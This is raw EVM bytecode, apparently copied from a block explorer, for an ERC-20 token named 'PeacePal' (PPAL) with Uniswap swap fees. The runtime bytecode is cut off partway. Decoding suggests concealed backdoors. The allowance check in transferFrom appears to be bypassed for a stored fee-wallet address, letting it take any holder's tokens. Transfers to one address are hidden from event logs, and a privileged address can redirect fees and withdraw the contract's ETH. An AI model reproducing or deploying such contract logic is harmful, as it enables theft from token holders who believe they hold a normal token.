6040513d601f19601f82011682018060405250810190610e6c9190612720565b506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b60125481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f17906127bb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8590612849565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106891906120d8565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110da906128d7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114890612965565b60405180910390fd5b5f8111611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a906129f3565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111fc57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114f95761123d606461122f600954600b541161121c57600554611220565b6007545b8561194990919063ffffffff16565b6119c090919063ffffffff16565b9050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112e85750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561133b575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561135857600b5f81548092919061135290612a11565b91905055505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113e057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611424576114216064611413600a54600b541161140057600654611404565b6008545b8561194990919063ffffffff16565b6119c090919063ffffffff16565b90505b5f61142e306104d6565b9050600f60159054906101000a900460ff161580156114995750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114b15750600f60169054906101000a900460ff165b156114f7575f8111156114ed575f60125482106114d0576012546114d2565b815b90506114eb8185106114e457816114e6565b845b611a09565b505b6114f647611c74565b5b505b5f8111156115f8576115518160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cdc90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115ef91906120d8565b60405180910390a35b6116488260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3990919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116eb61169f8284611d3990919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cdc90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f8578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117e28486611d3990919063ffffffff16565b6040516117ef91906120d8565b60405180910390a35b50505050565b5f8082905061180d8585611d82565b156118955760035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f611858610eab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b809150509392505050565b5f8383111582906118e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118de9190611fa7565b60405180910390fd5b505f83856118f59190612a58565b9050809150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611945573d5f803e3d5ffd5b5050565b5f808303611959575f90506119ba565b5f82846119669190612412565b90508284826119759190612ab8565b146119b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ac90612b58565b60405180910390fd5b809150505b92915050565b5f611a0183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e0c565b905092915050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a4057611a3f612b76565b5b604051908082528060200260200182016040528015611a6e5781602001602082028036833780820191505090505b50905030815f81518110611a8557611a84612ba3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b29573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b4d9190612578565b81600181518110611b6157611b60612ba3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bc730600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eb2565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c29959493929190612c87565b5f604051808303815f87803b158015611c40575f80fd5b505af1158015611c52573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cd8573d5f803e3d5ffd5b5050565b5f808284611cea9190612cdf565b905083811015611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2690612d5c565b60405180910390fd5b8091505092915050565b5f611d7a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118a0565b905092915050565b5f801515611d8e611e6d565b151503611d9d575f9050611e06565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dfa5760019050611e06565b611e0382611ec4565b90505b92915050565b5f8083118290611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e499190611fa7565b60405180910390fd5b505f8385611e609190612ab8565b9050809150509392505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415905090565b5f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611f54578082015181840152602081019050611f39565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611f7982611f1d565b611f838185611f27565b9350611f93818560208601611f37565b611f9c81611f5f565b840191505092915050565b5f6020820190508181035f830152611fbf8184611f6f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ff482611fcb565b9050919050565b61200481611fea565b811461200e575f80fd5b50565b5f8135905061201f81611ffb565b92915050565b5f819050919050565b61203781612025565b8114612041575f80fd5b50565b5f813590506120528161202e565b92915050565b5f806040838503121561206e5761206d611fc7565b5b5f61207b85828601612011565b925050602061208c85828601612044565b9150509250929050565b5f8115159050919050565b6120aa81612096565b82525050565b5f6020820190506120c35f8301846120a1565b92915050565b6120d281612025565b82525050565b5f6020820190506120eb5f8301846120c9565b92915050565b5f805f6060848603121561210857612107611fc7565b5b5f61211586828701612011565b935050602061212686828701612011565b925050604061213786828701612044565b9150509250925092565b5f60ff82169050919050565b61215681612141565b82525050565b5f60208201905061216f5f83018461214d565b92915050565b5f6020828403121561218a57612189611fc7565b5b5f61219784828501612011565b91505092915050565b6121a981611fea565b82525050565b5f6020820190506121c25f8301846121a0565b92915050565b5f6121d282611fcb565b9050919050565b6121e2816121c8565b81146121ec575f80fd5b50565b5f813590506121fd816121d9565b92915050565b5f6020828403121561221857612217611fc7565b5b5f612225848285016121ef565b91505092915050565b5f806040838503121561224457612243611fc7565b5b5f61225185828601612011565b925050602061226285828601612011565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156122ee578086048111156122ca576122c961226c565b5b60018516156122d95780820291505b80810290506122e785612299565b94506122ae565b94509492505050565b5f8261230657600190506123c1565b81612313575f90506123c1565b8160018114612329576002811461233357612362565b60019150506123c1565b60ff8411156123455761234461226c565b5b8360020a91508482111561235c5761235b61226c565b5b506123c1565b5060208310610133831016604e8410600b84101617156123975782820a9050838111156123925761239161226c565b5b6123c1565b6123a484848460016122a5565b925090508184048111156123bb576123ba61226c565b5b81810290505b9392505050565b5f6123d282612025565b91506123dd83612141565b925061240a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122f7565b905092915050565b5f61241c82612025565b915061242783612025565b925082820261243581612025565b9150828204841483151761244c5761244b61226c565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612487602083611f27565b915061249282612453565b602082019050919050565b5f6020820190508181035f8301526124b48161247b565b9050919050565b50565b5f6124c95f83611f27565b91506124d4826124bb565b5f82019050919050565b5f6020820190508181035f8301526124f5816124be565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f612530601183611f27565b915061253b826124fc565b602082019050919050565b5f6020820190508181035f83015261255d81612524565b9050919050565b5f8151905061257281611ffb565b92915050565b5f6020828403121561258d5761258c611fc7565b5b5f61259a84828501612564565b91505092915050565b5f6040820190506125b65f8301856121a0565b6125c360208301846121a0565b9392505050565b5f819050919050565b5f819050919050565b5f6125f66125f16125ec846125ca565b6125d3565b612025565b9050919050565b612606816125dc565b82525050565b5f60c08201905061261f5f8301896121a0565b61262c60208301886120c9565b61263960408301876125fd565b61264660608301866125fd565b61265360808301856121a0565b61266060a08301846120c9565b979650505050505050565b5f815190506126798161202e565b92915050565b5f805f6060848603121561269657612695611fc7565b5b5f6126a38682870161266b565b93505060206126b48682870161266b565b92505060406126c58682870161266b565b9150509250925092565b5f6040820190506126e25f8301856121a0565b6126ef60208301846120c9565b9392505050565b6126ff81612096565b8114612709575f80fd5b50565b5f8151905061271a816126f6565b92915050565b5f6020828403121561273557612734611fc7565b5b5f6127428482850161270c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6127a5602483611f27565b91506127b08261274b565b604082019050919050565b5f6020820190508181035f8301526127d281612799565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612833602283611f27565b915061283e826127d9565b604082019050919050565b5f6020820190508181035f83015261286081612827565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128c1602583611f27565b91506128cc82612867565b604082019050919050565b5f6020820190508181035f8301526128ee816128b5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61294f602383611f27565b915061295a826128f5565b604082019050919050565b5f6020820190508181035f83015261297c81612943565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6129dd602983611f27565b91506129e882612983565b604082019050919050565b5f6020820190508181035f830152612a0a816129d1565b9050919050565b5f612a1b82612025565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a4d57612a4c61226c565b5b600182019050919050565b5f612a6282612025565b9150612a6d83612025565b9250828203905081811115612a8557612a8461226c565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ac282612025565b9150612acd83612025565b925082612add57612adc612a8b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b42602183611f27565b9150612b4d82612ae8565b604082019050919050565b5f6020820190508181035f830152612b6f81612b36565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c0281611fea565b82525050565b5f612c138383612bf9565b60208301905092915050565b5f602082019050919050565b5f612c3582612bd0565b612c3f8185612bda565b9350612c4a83612bea565b805f5b83811015612c7a578151612c618882612c08565b9750612c6c83612c1f565b925050600181019050612c4d565b5085935050505092915050565b5f60a082019050612c9a5f8301886120c9565b612ca760208301876125fd565b8181036040830152612cb98186612c2b565b9050612cc860608301856121a0565b612cd560808301846120c9565b9695505050505050565b5f612ce982612025565b9150612cf483612025565b9250828201905080821115612d0c57612d0b61226c565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d46601b83611f27565b9150612d5182612d12565b602082019050919050565b5f6020820190508181035f830152612d7381612d3a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cf354cf0f45e3a3165b4a4e28afb346b34681983854807b3742ba959874c87864736f6c63430008140033

Deployed Bytecode

0x608060405260043610610101575f3560e01c80637aa4dc0511610094578063b7394c7411610063578063b7394c7414610324578063bf8154051461034e578063dd62ed3e14610376578063e2fe735e146103b2578063eb684c32146103c857610108565b80637aa4dc051461026a5780638da5cb5b1461029457806395d89b41146102be578063a9059cbb146102e857610108565b8063313ce567116100d0578063313ce567146101d857806370a0823114610202578063715018a61461023e578063751039fc1461025457610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b506101206103f2565b60405161012d9190611fa7565b60405180910390f35b348015610141575f80fd5b5061015c60048036038101906101579190612058565b61042f565b60405161016991906120b0565b60405180910390f35b34801561017d575f80fd5b5061018661044c565b60405161019391906120d8565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd91906120f1565b61046f565b6040516101cf91906120b0565b60405180910390f35b3480156101e3575f80fd5b506101ec6104ce565b6040516101f9919061215c565b60405180910390f35b34801561020d575f80fd5b5061022860048036038101906102239190612175565b6104d6565b60405161023591906120d8565b60405180910390f35b348015610249575f80fd5b5061025261051c565b005b34801561025f575f80fd5b5061026861066a565b005b348015610275575f80fd5b5061027e610799565b60405161028b91906120d8565b60405180910390f35b34801561029f575f80fd5b506102a861079f565b6040516102b591906121af565b60405180910390f35b3480156102c9575f80fd5b506102d26107c6565b6040516102df9190611fa7565b60405180910390f35b3480156102f3575f80fd5b5061030e60048036038101906103099190612058565b610803565b60405161031b91906120b0565b60405180910390f35b34801561032f575f80fd5b50610338610820565b60405161034591906120d8565b60405180910390f35b348015610359575f80fd5b50610374600480360381019061036f9190612203565b610826565b005b348015610381575f80fd5b5061039c6004803603810190610397919061222e565b610901565b6040516103a991906120d8565b60405180910390f35b3480156103bd575f80fd5b506103c6610983565b005b3480156103d3575f80fd5b506103dc610ea5565b6040516103e991906120d8565b60405180910390f35b60606040518060400160405280600881526020017f506561636550616c000000000000000000000000000000000000000000000000815250905090565b5f61044261043b610eab565b8484610eb2565b6001905092915050565b5f6009600a61045b91906123c8565b633b9aca0061046a9190612412565b905090565b5f61047b848484611075565b6104c384610487610eab565b6104be85604051806060016040528060288152602001612d7b602891396104af8a8a8a6117fe565b6118a09092919063ffffffff16565b610eb2565b600190509392505050565b5f6009905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610524610eab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a79061249d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610672610eab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f59061249d565b60405180910390fd5b6009600a61070c91906123c8565b633b9aca0061071b9190612412565b6010819055506009600a61072f91906123c8565b633b9aca0061073e9190612412565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61077391906123c8565b633b9aca006107829190612412565b60405161078f91906120d8565b60405180910390a1565b60115481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5050414c00000000000000000000000000000000000000000000000000000000815250905090565b5f61081661080f610eab565b8484611075565b6001905092915050565b60105481565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ac906124de565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108fe47611902565b50565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61098b610eab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0e9061249d565b60405180910390fd5b600f60149054906101000a900460ff1615610a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5e90612546565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b0330600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610aef91906123c8565b633b9aca00610afe9190612412565b610eb2565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b919190612578565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c3b9190612578565b6040518363ffffffff1660e01b8152600401610c589291906125a3565b6020604051808303815f875af1158015610c74573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c989190612578565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d1f306104d6565b5f80610d2961079f565b426040518863ffffffff1660e01b8152600401610d4b9695949392919061260c565b60606040518083038185885af1158015610d67573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d8c919061267f565b505050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e2c9291906126cf565b6020604051808303815f875af1158015610e48573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e6c9190612720565b506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b60125481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f17906127bb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8590612849565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106891906120d8565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110da906128d7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114890612965565b60405180910390fd5b5f8111611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a906129f3565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111fc57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114f95761123d606461122f600954600b541161121c57600554611220565b6007545b8561194990919063ffffffff16565b6119c090919063ffffffff16565b9050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112e85750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561133b575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561135857600b5f81548092919061135290612a11565b91905055505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113e057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611424576114216064611413600a54600b541161140057600654611404565b6008545b8561194990919063ffffffff16565b6119c090919063ffffffff16565b90505b5f61142e306104d6565b9050600f60159054906101000a900460ff161580156114995750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114b15750600f60169054906101000a900460ff165b156114f7575f8111156114ed575f60125482106114d0576012546114d2565b815b90506114eb8185106114e457816114e6565b845b611a09565b505b6114f647611c74565b5b505b5f8111156115f8576115518160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cdc90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115ef91906120d8565b60405180910390a35b6116488260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3990919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116eb61169f8284611d3990919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cdc90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f8578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117e28486611d3990919063ffffffff16565b6040516117ef91906120d8565b60405180910390a35b50505050565b5f8082905061180d8585611d82565b156118955760035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f611858610eab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b809150509392505050565b5f8383111582906118e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118de9190611fa7565b60405180910390fd5b505f83856118f59190612a58565b9050809150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611945573d5f803e3d5ffd5b5050565b5f808303611959575f90506119ba565b5f82846119669190612412565b90508284826119759190612ab8565b146119b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ac90612b58565b60405180910390fd5b809150505b92915050565b5f611a0183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e0c565b905092915050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a4057611a3f612b76565b5b604051908082528060200260200182016040528015611a6e5781602001602082028036833780820191505090505b50905030815f81518110611a8557611a84612ba3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b29573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b4d9190612578565b81600181518110611b6157611b60612ba3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bc730600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eb2565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c29959493929190612c87565b5f604051808303815f87803b158015611c40575f80fd5b505af1158015611c52573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cd8573d5f803e3d5ffd5b5050565b5f808284611cea9190612cdf565b905083811015611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2690612d5c565b60405180910390fd5b8091505092915050565b5f611d7a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118a0565b905092915050565b5f801515611d8e611e6d565b151503611d9d575f9050611e06565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dfa5760019050611e06565b611e0382611ec4565b90505b92915050565b5f8083118290611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e499190611fa7565b60405180910390fd5b505f8385611e609190612ab8565b9050809150509392505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373fffff